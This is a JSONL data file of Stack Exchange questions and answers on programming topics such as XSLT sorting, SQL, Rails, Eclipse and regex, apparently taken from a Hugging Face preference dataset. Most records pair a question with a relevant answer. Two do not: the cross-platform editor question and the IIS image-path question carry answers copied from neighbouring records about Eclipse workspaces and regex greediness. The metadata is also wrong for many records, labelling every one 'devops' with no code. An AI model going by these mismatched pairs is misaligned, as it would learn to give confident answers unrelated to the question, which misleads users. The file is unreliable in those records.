{"id": "hf_7b3dc355069e", "question": "<p>I'm trying to order items based on an attribute value:</p>\n\n<pre><code>&lt;xsl:apply-templates select=\"Question\"&gt;\n    &lt;xsl:sort order=\"ascending\" select=\"@Value\"&gt;&lt;/xsl:sort&gt;\n&lt;/xsl:apply-templates&gt;\n</code></pre>\n\n<p>This does order them, but I could have values like 1,2,3, ... 10, 11, ... 20 and it will order them 1,10,11, ... 2,20... 3. etc.<br>\nI could also have values like 1.A, 1.B, 2.A, 2.B etc.</p>\n\n<p>How can I order these values to take into account the numeric content and the alphabetic, in that priority?</p>\n", "question_body": "", "answer": "You can sort in numeric order using the\n```\ndata-type\n```\nattribute:\n```\n```\n<xsl:sort order=\"ascending\" select=\"@Value\" data-type=\"number\"></xsl:sort>\n```\n```\nThe built-in sort function does not have support for more complex ordering (such as the multipart keys you mention).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.009116"}
{"id": "hf_4fee539e3290", "question": "<p>I'm asking in generalities - why would any server not set and return headers and/or status codes? I can't think of a good reason for this. Perhaps I'm overlooking something.</p>\n", "question_body": "", "answer": "The Status-Code is a required part of a HTTP Response.\nBy definition, the only reason for a server not to provide a Status-Line is that it is not a HTTP server.\nRFC 2616, section 6: Response\n.\nOr said in a slightly less pedant way: if it does this, the server is hopelessly buggy and you should run away from it screaming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.044465"}
{"id": "hf_754944b0f6f4", "question": "<p>I'm using a column of checkboxes in a YUI DataTable, I works fine. But I haven't found a way to put a name and value attribute so I can use when the form is submitted.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "In order to get a name and value attribute, you use a checkbox like this:\n```\n```\n<input type=\"checkbox\" name=\"the_name\" value=\"the_value\" />\n```\n```\nIn your server-side code, you would look into the POST or GET data for the name of the checkbox. If it is there, the checkbox was checked. If it isn't there, the checkbox was not checked.\nhttp://www.w3schools.com/HTMLDOM/dom_obj_checkbox.asp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.080221"}
{"id": "hf_210c1a31f78e", "question": "<p>I'm doing a personal organizer for learning purposes, and i've never worked with XML so i'm not sure if my solution is the best. Here's the basic structure for the XML file i came with:</p>\n\n<pre><code>&lt;calendar&gt;\n    &lt;year value=\"2008\"&gt;\n        &lt;month value=\"october\"&gt;\n            &lt;day value=\"16\"&gt;\n                &lt;activity name=\"mike's birthday\" time=\"21:00\" address=\"mike's apartment\" urgency=\"10\"&gt;\n                     activity description.\n                &lt;/activity&gt;\n            &lt;/day&gt;\n        &lt;/month&gt;\n    &lt;/year&gt;\n&lt;/calendar&gt;\n</code></pre>\n\n<p>The urgency attribute should be on a scale of 1 to 10. <br/>\nI did a quick search on google and couldn't find a good example. Maybe that's not the best solution, and i'd like to know if its adequate. I'm doing the application in PHP if that has any relevance.</p>\n", "question_body": "", "answer": "Your way is quite adequate to me. However, I prefer child tags to attributes, so my way would be more like:\n```\n```\n<activity>\n  <name>Mike's Birthday</name>\n  <time>2100</time>\n  <address>Mike's Place</address>\n  <urgency>10</urgency>\n  <description>activity description</description>\n</activity>\n```\n```\nBut like I said, your way is just fine.\nQuick question, though - why not a database?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.104625"}
{"id": "hf_f4c7b92b4516", "question": "<p>I have code similar to this filtering entries in an Array of Objects:</p>\n\n<pre><code>var filterRegex = new RegExp(\".*blah.*\",\"ig\");\nif (filterRegex.test(events[i].thing) &amp;&amp; events[i].show) {\n    console.log(\"SUCCESS: filtering thing \" + i + \" \" + events[i].thing);\n    events[i].show = false;\n    numevents--;\n}\n</code></pre>\n\n<p>I get inconsistent results with this if condition (checking with Firebug, both conditions are true individually, but <em>sometimes</em> the whole expression evaluates to false). HOWEVER, if I actually put an <code>alert()</code> called inside this if statement (like line 4), it becomes consistent and I get the result I want.</p>\n\n<p>Can you see anything wrong with this logic and tell me why it's not always producing what is expected?</p>\n", "question_body": "", "answer": "I just can't imagine there is any situation where two JavaScript expressions evaluate to true individually, but not when combined.\nAre you sure both expressions actually produce a boolean value every time? (Okay, to make\n```\nregex.test()\n```\nnot produce a boolean value is difficult, but how about\n```\nevent.show\n```\n. Might that be undefined at times?\nDo you refer to the correct index when saying\n```\nevent[0].show\n```\n, wouldn't you mean\n```\nevent[i].show\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.165769"}
{"id": "hf_b19f0bcaf46e", "question": "<p>I need that my Apache require authentication only to external access but free in my local network. I have mod_user in my Apache.</p>\n", "question_body": "", "answer": "Not much into apache authentication, i just use tomcat from time to time to test some jsp.\nHave you tried reading this?\nhttp://httpd.apache.org/docs/1.3/howto/auth.html#basicconfig", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.190226"}
{"id": "hf_76e157fd4d07", "question": "<p>I have an error handling method in my ApplicationController:</p>\n\n<pre><code>rescue_from ActiveRecord::RecordNotFound, :with =&gt; :not_found\n\ndef not_found(exception)\n  @exception = exception\n  render :template =&gt; '/errors/not_found', :status =&gt; 404\nend\n</code></pre>\n\n<p>In <code>RAILS_ROOT/app/views/errors/not_found.html.erb</code>, I have this:</p>\n\n<pre><code>&lt;h1&gt;Error 404: Not Found&lt;/h1&gt;\n&lt;%= debug @exception %&gt;\n</code></pre>\n\n<p>But <code>@exception</code> is always <code>nil</code> there.  I've tried <code>debug assigns</code>, but that's always <code>{}</code>.  Do assigns not get copied when calling <code>render :template</code>?  If so, how can I get them?</p>\n\n<p>I'm on edge Rails.</p>\n", "question_body": "", "answer": "That's odd, and I don't know why.  As an alternative, have you tried passing the exception as an explicit local?\n```\n```\ndef not_found(exception)\n  render :template => '/errors/not_found', \n         :status   => 404, \n         :locals   => {:exception => exception}\nend\n```\n```\nand the view:\n```\n```\n<h1>Error 404: Not Found</h1>\n<%= debug exception %> <!-- Note no '@' -->\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.225487"}
{"id": "hf_0ad245871576", "question": "<p>In the following one to many</p>\n\n<pre><code>CREATE TABLE source(id int, name varchar(10), PRIMARY KEY(id));\nCREATE TABLE params(id int, source int, value int);\n</code></pre>\n\n<p>where params.source is a foreign key to source.id</p>\n\n<pre><code>INSERT INTO source values(1, 'yes');\nINSERT INTO source values(2, 'no');\n\nINSERT INTO params VALUES(1,1,1);\nINSERT INTO params VALUES(2,1,2);\nINSERT INTO params VALUES(3,1,3);\n\nINSERT INTO params VALUES(4,2,1);\nINSERT INTO params VALUES(5,2,3);\nINSERT INTO params VALUES(6,2,4);\n</code></pre>\n\n<p>If i have a list of param values (say [1,2,3]), how do I find all the sources that have ALL of the values in the list (source 1, \"yes\") in SQL?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Edit\nModified to handle case where there can be multiple occurances of the value for a given source.\nTry this:\n```\n```\nSELECT\n    *\nFROM\n    source\nWHERE\n    (\n        SELECT COUNT(DISTINCT value)\n        FROM params\n        WHERE params.source = source.id\n          AND params.value IN (1, 2, 3)\n    ) = 3\n```\n```\nYou can rewrite it to a GROUP BY as well:\n```\n```\nSELECT\n    source.*\nFROM\n    source\n    INNER JOIN params ON params.source = source.id\nWHERE\n    params.value IN (1, 2, 3)\nGROUP BY\n    source.id,\n    source.name\nHAVING\n    COUNT(DISTINCT params.value) = 3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.332091"}
{"id": "hf_d85bd6408194", "question": "<p>Is there a way to start an instance of eclipse, passing it some sort of parameter telling it to use a specific workspace?</p>\n\n<p>The problem I'm trying to solve is that I have a workspace for work projects and one for personal projects. I'd like to be able to tie these to workspaces to separate shortcuts that I could launch independently.</p>\n", "question_body": "", "answer": "From\nhttp://help.eclipse.org/help21/topic/org.eclipse.platform.doc.user/tasks/running_eclipse.htm\n:\nUse the following command-line argument:\n```\n```\n-data your_workspace_location\n```\n```\nFor example,\n```\n```\n-data c:\\users\\robert\\myworkspace\n```\n```\nyou can also use UNIX-style relative path names such as\n```\n```\n-data ../workspace\n```\n```\neven under Windows, in case something doesnt like colons or backslashes in parameters, like Jumplist Launcher", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.356310"}
{"id": "hf_533c7e4b19b9", "question": "<p>I would like to have the same editor available on all of the platforms I frequent.</p>\n\n<p>Emacs and Vi are not desired solutions.</p>\n", "question_body": "", "answer": "From\nhttp://help.eclipse.org/help21/topic/org.eclipse.platform.doc.user/tasks/running_eclipse.htm\n:\nUse the following command-line argument:\n```\n```\n-data your_workspace_location\n```\n```\nFor example,\n```\n```\n-data c:\\users\\robert\\myworkspace\n```\n```\nyou can also use UNIX-style relative path names such as\n```\n```\n-data ../workspace\n```\n```\neven under Windows, in case something doesnt like colons or backslashes in parameters, like Jumplist Launcher", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.381055"}
{"id": "hf_5a04d31054af", "question": "<p>I'm using NetBeans, trying to change the familiar Java coffee cup icon to a png file that I have saved in a resources directory in the jar file.  I've found many different web pages that claim they have a solution, but so far none of them work.</p>\n\n<p>Here's what I have at the moment (leaving out the try-catch block):</p>\n\n<pre><code>URL url = new URL(\"com/xyz/resources/camera.png\");\nToolkit kit = Toolkit.getDefaultToolkit();\nImage img = kit.createImage(url);\ngetFrame().setIconImage(img);\n</code></pre>\n\n<p>The class that contains this code is in the <strong>com.xyz</strong> package, if that makes any difference.  That class also extends JFrame.  This code is throwing a MalformedUrlException on the first line.</p>\n\n<p>Anyone have a solution that works?</p>\n", "question_body": "", "answer": "```\n```\njava.net.URL url = ClassLoader.getSystemResource(\"com/xyz/resources/camera.png\");\n```\n```\nMay or may not require a '/' at the front of the path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.454365"}
{"id": "hf_68e5f61116ba", "question": "<p>I want to be able to introduce new 'tag lines' into a database that are shown 'randomly' to users. (These tag lines are shown as an introduction as animated text.)</p>\n\n<p>Based upon the number of sales that result from those taglines I'd like the good ones to trickle to the top, but still show the others less frequently.</p>\n\n<p>I could come up with a basic algorithm quite easily but I want something thats a little more 'statistically accurate'.</p>\n\n<p>I dont really know where to start. Its been a while since I've done anything more than basic statistics. My model would need to be sensitive to tolerances, but obviously it doesnt need to be worthy of a PHD.</p>\n\n<p><strong>Edit:</strong> I am currently tracking a 'conversion rate' - i.e. hits per order. This value would probably be best calculated as a cumulative 'all time' convertsion rate to be fed into the algorithm.</p>\n", "question_body": "", "answer": "I would suggest randomly choosing with a weighting factor based on previous sales. So let's say you had this:\ntag1 = 1 sale\ntag2 = 0 sales\ntag3 = 1 sale\ntag4 = 2 sales\ntag5 = 3 sales\nA simple weighting formula would be 1 + number of sales, so this would be the probability of selecting each tag:\ntag1 = 2/12 = 16.7%\ntag2 = 1/12 = 8.3%\ntag3 = 2/12 = 16.6%\ntag4 = 3/12 = 25%\ntag5 = 4/12 = 33.3%\nYou could easily change the weighting formula to get just the distribution that you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.489022"}
{"id": "hf_2df1dd5eca79", "question": "<p>I want to combine these:</p>\n<pre class=\"lang-py prettyprint-override\"><code>keys = ['name', 'age', 'food']\nvalues = ['Monty', 42, 'spam']\n</code></pre>\n<p>Into a single dictionary:</p>\n<pre class=\"lang-py prettyprint-override\"><code>{'name': 'Monty', 'age': 42, 'food': 'spam'}\n</code></pre>\n", "question_body": "", "answer": "Like this:\n```\n```\nkeys = ['a', 'b', 'c']\nvalues = [1, 2, 3]\ndictionary = dict(zip(keys, values))\nprint(dictionary) # {'a': 1, 'b': 2, 'c': 3}\n```\n```\nVoila :-)  The pairwise\n```\ndict\n```\nconstructor and\n```\nzip\n```\nfunction are awesomely useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.513493"}
{"id": "hf_044ac40ac140", "question": "<p>I have a HTML page that scrolls up and down (not a lot, but it does scroll). How can I set the scroll position in the page after executing some JavaScript?</p>\n\n<p>I'm using jQuery to inject some additional HTML at the bottom of the page and I'd like to programmatically scroll to the position of that new content after it's added.</p>\n", "question_body": "", "answer": "Try using\n```\nwindow.scroll\n```\n.\nExample:\n```\n```\n// put the 100th vertical pixel at the top of the window\n<button onClick=\"scroll(0, 100);\">click to scroll down 100 pixels</button>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.537315"}
{"id": "hf_6472e1813796", "question": "<p>This page displays beautifully in firefox but i get all kinds of problems when testing the site in opera or internet explorer, mostly with the menu. I would like to know what techniques have caused this and how to avoid them. </p>\n\n<p><a href=\"http://www.jkhbdesign.se/\" rel=\"nofollow noreferrer\">http://www.jkhbdesign.se/</a></p>\n\n<p>Edit 2: Here are some screenshots of some specific problems</p>\n\n<p>The dropdown as it should look:</p>\n\n<p><a href=\"http://nibbo.se/slask/correct.png\" rel=\"nofollow noreferrer\">alt text http://nibbo.se/slask/correct.png</a></p>\n\n<p>The way it looks in IE 7:</p>\n\n<p><a href=\"http://nibbo.se/slask/dropdownie.png\" rel=\"nofollow noreferrer\">alt text http://nibbo.se/slask/dropdownie.png</a></p>\n\n<p>The way it looks in Opera:</p>\n\n<p><a href=\"http://nibbo.se/slask/dropdownopera.png\" rel=\"nofollow noreferrer\">alt text http://nibbo.se/slask/dropdownopera.png</a></p>\n", "question_body": "", "answer": "At the very least you are going to have to deal with the fact that the CSS :hover is not supported in IE for any tag except the anchor tag.  You'll need to use onmouseover, onmouseout in IE to accomplish the same thing.  Or change the li:hover to an a:hover but that would be a bigger overhaul of your design I think.\nSpecifically, CSS like this:\n```\n```\nul.menu li:hover ul.submenu {\nbackground:white none repeat scroll 0 0;\nborder:1px solid #A6A6A6;\ndisplay:block;\nmargin-left:-25px;\nmargin-top:23px;\npadding:2px 0;\nposition:absolute;\n}\n```\n```\nIs not going to work properly in Internet Explorer.  I don't know about Opera.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.564305"}
{"id": "hf_c5a149063a53", "question": "<p>Python 3.0 is in beta with a final release coming shortly.  Obviously it will take some significant time for general adoption and for it to eventually replace 2.x.</p>\n\n<p>I am writing a tutorial about certain aspects of programming Python.  I'm wondering if I should do it in Python 2.x or 3.0? (not that the difference is huge)</p>\n\n<p>a 2.x tutorial is probably more useful now, but it would be nice to start producing 3.0 tutorials.</p>\n\n<p>anyone have thoughts?</p>\n\n<p>(of course I could do both, but I would prefer to do one or the other)</p>\n", "question_body": "", "answer": "It depends on your audience.  If it's a general audience, and you plan to leave it posted for a long time, I'd suggest looking forward and going with 3.0.  On the other hand if it's for a project or group that's going to be doing work in the near future, Python 2 probably make more sense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.624460"}
{"id": "hf_aaa61971ef34", "question": "<p>Is there a way in PHP to compile a regular expression, so that it can then be compared to multiple strings without repeating the compilation process?  Other major languages can do this -- Java, C#, Python, Javascript, etc.</p>\n", "question_body": "", "answer": "I'm not positive that you can. If you check out\nMastering Regular Expressions\n, some PHP specific optimization techniques are discussed in Chapter10: PHP. Specifically the use of the S pattern modifier to cause the regex engine to \"Study\" the regular expression before it applies it. Depending on your pattern and your text, this could give you some speed improvements.\nEdit\n: you can take a peek at the contents of the book using\nbooks.google.com\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.676649"}
{"id": "hf_3f24fafa8511", "question": "<p>My code for sql connection using linq is:</p>\n\n<pre><code>var query1 = from u in dc.Usage_Computers\n          where u.DomainUser == s3\n          select u; // selects all feilds from table\n\nGridView1.DataSource = query1;\nGridView1.DataBind();\n</code></pre>\n\n<p>I have a field called \"Operation\" in the table \"Domainuser\" which has values like \"1, 2, 3\". When I populate these values to data grid I wanted to convert them to meaningful values like if the value of Operation is 1 then display in datagrid as \"logon\", if 2 then \"logoff\" etc...</p>\n\n<p>How do i assign values for them after retrieving from database?</p>\n", "question_body": "", "answer": "I've done something similar using TemplateFields.  Using an ASP:Label bound to the property and adding an OnPreRender event handler for the control.  In the event handler for the control I translate the text based on it's current value and set the new value:\n```\n```\nprotected void label_OnPreRender( object sender, EventArgs e )\n{\n   Label l = (Label)sender;\n   switch (l.Text) {\n      case \"1\":\n         l.Text = \"Logon\";\n         break;\n       ...\n      default:\n         break;\n   }\n}\n```\n```\nIf the form is in edit mode, you'll need to handle it differently.  You'll also probably need to add handlers for Inserting and Updating to the View control you are using to translate the data supplied by the page into its database representation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.712720"}
{"id": "hf_31d5162b7b75", "question": "<p>I've got a table of hardware and a table of incidents. Each hardware has a unique tag, and the incidents are tied to the tag.</p>\n\n<p>How can I select all the hardware which has at least one incident listed as unresolved?</p>\n\n<p>I can't just do a join, because then if one piece of hardware had multiple unresolved issues, it would show up multiple times.</p>\n", "question_body": "", "answer": "```\n```\nselect distinct(hardware_name) \nfrom hardware,incidents \nwhere hardware.id = incidents.hardware_id and incidents.resolved=0;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.759531"}
{"id": "hf_b6775e571067", "question": "<p>I have some C++ source code with templates maybe like this - doxygen runs without errors but none of the documentation is added to the output, what is going on?</p>\n\n<pre><code>///\n/// A class\n///\nclass A\n{\n  ///\n  /// A typedef\n  ///\n  typedef B&lt;C&lt;D&gt;&gt; SomeTypedefOfTemplates;\n};\n</code></pre>\n", "question_body": "", "answer": "Yeah, so what is going on is the template instantiation is bogus. The \">>\" like that is ambiguous and is meant to be a compile time error. You couldn't see it because maybe your compiler (VC++) let it slip by but I guess doxygen was stricter on that. Add a space like shown.\n```\n```\n///\n/// A class\n///\nclass A\n{\n  ///\n  /// A typedef\n  ///\n  typedef B<C<D> > SomeTypedefOfTemplates;\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.866320"}
{"id": "hf_1985c3d053bd", "question": "<p>In ASP.NET what's the best way to do the following:</p>\n\n<ol>\n<li>Show certain controls based on your rights?</li>\n<li>For a gridview control, how do you show certain columns based on your role?</li>\n</ol>\n\n<p>I'm thinking for number 2, have the data come from a role specific view on the database.</p>\n", "question_body": "", "answer": "Instead of actually using roles to hide/show certain controls, I would suggest having another layer of permissions for each role and show/hide based on those instead.\nThat way you can redefine what permissions a role has and won't have to change your code.\nAlso, this allows you to make new roles in the future and just assign a set of permissions to the role.\nAs for controls, yes... I would just set the Visible property on the control based on the user.IsInRole(\"permissionname\") value.\nFor grids I would do the same... set the Visibility of the columns to the IsInRole boolean value.\n```\n```\n//Delete Icon Column\ngridViewContacts.Columns[0].Visible = user.IsInRole(\"DeleteAnyContact\");\n```\n```\nI would make create your permissions in a very granular nature.. such as\nViewAnyContact\nViewOwnContact\nEditOwnContact\nEditAnyContact\nAddAnyContact\nDeleteOwnContact\nDeleteAnyContact\nEtc...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.901510"}
{"id": "hf_70413de4751d", "question": "<p>I have a 10 second sound effect wave file. What I would like to do is take that file and repeat it n number of times and then save the longer WAV file to disk. This way I can create a much longer background effect rather than auto-repeat on the media player which is a bit stuttered between repeats. I am trying to do this in C#.</p>\n", "question_body": "", "answer": "That's reasonably easy to do, given the\nWAV file format\n- assuming it's uncompressed audio (most WAV files are - or at least, they were last time I had anything to do with them).\nThere may well be audio APIs you can use to do this without getting stuck into the binary format, but I suspect they'd take as long to learn as just doing it yourself as you're not doing anything particularly complicated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.923839"}
{"id": "hf_31caee1b54fd", "question": "<p>I'm sure this one is easy but I've tried a ton of variations and still cant match what I need.  The thing is being too greedy and I cant get it to stop being greedy.</p>\n\n<p>Given the text:</p>\n\n<pre><code>test=this=that=more text follows\n</code></pre>\n\n<p>I want to just select:</p>\n\n<pre><code>test=\n</code></pre>\n\n<p>I've tried the following regex</p>\n\n<pre><code>(\\S+)=(\\S.*)\n(\\S+)?=\n[^=]{1}\n...\n</code></pre>\n\n<p>Thanks all.</p>\n", "question_body": "", "answer": "here:\n```\n```\n// matches \"test=, test\"\n(\\S+?)=\n\nor\n\n// matches \"test=, test\" too\n(\\S[^=]+)=\n```\n```\nyou should consider using the second version over the first. given your string\n```\n\"test=this=that=more text follows\"\n```\n, version 1 will match\n```\ntest=this=that=\n```\nthen continue parsing to the end of the string. it will then backtrack, and find\n```\ntest=this=\n```\n, continue to backtrack, and find\n```\ntest=\n```\n, continue to backtrack, and settle on\n```\ntest=\n```\nas it's final answer.\nversion 2 will match\n```\ntest=\n```\nthen stop. you can see the efficiency gains in larger searches like multi-line or whole document matches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.944855"}
{"id": "hf_cd57823e042b", "question": "<p>I have a website that is deployed between 3 different environments - Dev, Stage, and Prod. For Stage and Prod, the site can resolve local paths to images with just the base url to the file, such as /SiteImages/banner.png. However, on the Dev server I have to hard code the full URL of the image path for the image to be resolved, such as <a href=\"http://server/folder/SiteImages/banner.png\" rel=\"nofollow noreferrer\">http://server/folder/SiteImages/banner.png</a>. Is there a setting I can flip to make the Dev server behave in the same manner as the other 2? I am using IIS 6.0 on a Win 2003 server. </p>\n", "question_body": "", "answer": "here:\n```\n```\n// matches \"test=, test\"\n(\\S+?)=\n\nor\n\n// matches \"test=, test\" too\n(\\S[^=]+)=\n```\n```\nyou should consider using the second version over the first. given your string\n```\n\"test=this=that=more text follows\"\n```\n, version 1 will match\n```\ntest=this=that=\n```\nthen continue parsing to the end of the string. it will then backtrack, and find\n```\ntest=this=\n```\n, continue to backtrack, and find\n```\ntest=\n```\n, continue to backtrack, and settle on\n```\ntest=\n```\nas it's final answer.\nversion 2 will match\n```\ntest=\n```\nthen stop. you can see the efficiency gains in larger searches like multi-line or whole document matches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:07.966028"}
{"id": "hf_7b8f99a8e42e", "question": "<p>I have a table that has an insert trigger on it. If I insert in 6000 records into this table in one insert statement from a stored procedure, will the stored procedure return before the insert trigger completes?</p>\n\n<p>Just to make sure that I'm thinking correctly, the trigger should only be called (i know 'called' isn't the right word) once because there was only 1 insert statement, right?</p>\n\n<p>My main question is: will the sproc finish even if the trigger hasn't completed?</p>\n", "question_body": "", "answer": "Your insert trigger will run once for the entire insert statement. This is why it is important to use the\n```\ninserted\n```\ntemporary table to see what has actually been inserted, and not just select the most recent single record, or something like that.\nI just tested an insert and update trigger and indeed, they are considered part of the insert by sql server. the process will not finish until the trigger finishes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.001949"}
{"id": "hf_41aa6ea58beb", "question": "<p>I recently downloaded the source tarball for a GTK application that I'd like to improve.  It uses the standard <code>./configure</code> and <code>make</code> build sequence.</p>\n\n<p>The first time through, <code>configure</code> reported a bunch of unmet build dependencies, such as <code>libgnomeui-2.0</code>.  As I usually do, I had to manually go through and find the Debian <code>*-dev</code> package names corresponding to these dependencies... of course the names never match up quite the same, so it gets to be a real hassle.</p>\n\n<p>So what occurred to me is... <strong>are there any helper tools to automatically install the build dependencies listed by the <code>automake</code>/<code>autoconf</code> configuration files???</strong></p>\n\n<p>(I already know about the <code>dpkg-buildpackage</code> tools, but in this case I am interested in building from a raw distribution-independent source tarball, <strong>not</strong> from the Debian package source.)</p>\n", "question_body": "", "answer": "```\napt-get build-dep <package>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.036732"}
{"id": "hf_eaebf155ffc0", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/144833/most-useful-attributes-in-c\">Most Useful Attributes in C#</a>  </p>\n</blockquote>\n\n\n\n<p>besides:</p>\n\n<pre><code>[DefaultValue(100)]\n[Description(\"Some descriptive field here\")]\npublic int MyProperty{get; set;}\n</code></pre>\n\n<p>What other C# Attributes are useful for Properties, after learning these I feel like I'm Missing out.</p>\n\n<p><strong>Related Questions</strong></p>\n\n<p><a href=\"https://stackoverflow.com/questions/144833/most-useful-attributes-in-c#144929\">Most Useful Attributes in C#</a></p>\n", "question_body": "", "answer": "```\n```\n[Browsable]\n```\n```\nis a favorite of mine. (\nMSDN\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:08.071507"}
